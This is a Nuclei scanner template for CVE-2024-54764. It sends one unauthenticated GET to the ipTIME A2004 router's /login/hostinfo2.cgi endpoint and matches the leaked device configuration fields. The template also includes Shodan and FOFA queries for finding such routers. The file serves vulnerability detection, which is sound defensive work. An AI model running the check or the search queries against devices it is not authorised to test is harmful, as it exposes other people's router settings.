id: CVE-2024-54764

info:
  name: ipTIME A2004 - Unauthorized Access
  author: ritikchaddha
  severity: medium
  description: |
    An access control issue exists in the component /login/hostinfo2.cgi of ipTIME A2004 v12.17.0 that allows attackers to obtain sensitive information without authentication. The vulnerability allows unauthenticated access to device settings and configuration information.
  impact: |
    Unauthenticated attackers can access sensitive device settings and configuration information through the hostinfo2.cgi endpoint.
  remediation: |
    Update ipTIME A2004 router to a version later than 12.17.0 that addresses the unauthorized access vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/ipTIME/A2004/ipTIME_A2004_unauthorized_access_vulnerability_second.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54764
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-54764
    cwe-id: CWE-284
    epss-score: 0.08455
    epss-percentile: 0.92457
  metadata:
    verified: true
    max-request: 1
    vendor: ipTIME
    product: A2004
    shodan-query: http.title:"ipTIME"
    fofa-query: title="ipTIME"
  tags: cve,cve2024,iptime,router,unauth,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login/hostinfo2.cgi"

    matchers-condition: and
    matchers:
      - type: word
        part: response
        words:
          - "product_name="
          - "system_type="
        condition: and

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220138da247fcfe011d04c722b8e311295297deece2416415b2c022fd63e074248c022100b1cea4405f76e675f02bab184b343805c7683621d72aeb0f9dde9b87f384a503:922c64590222798bb761d5b6d8e72950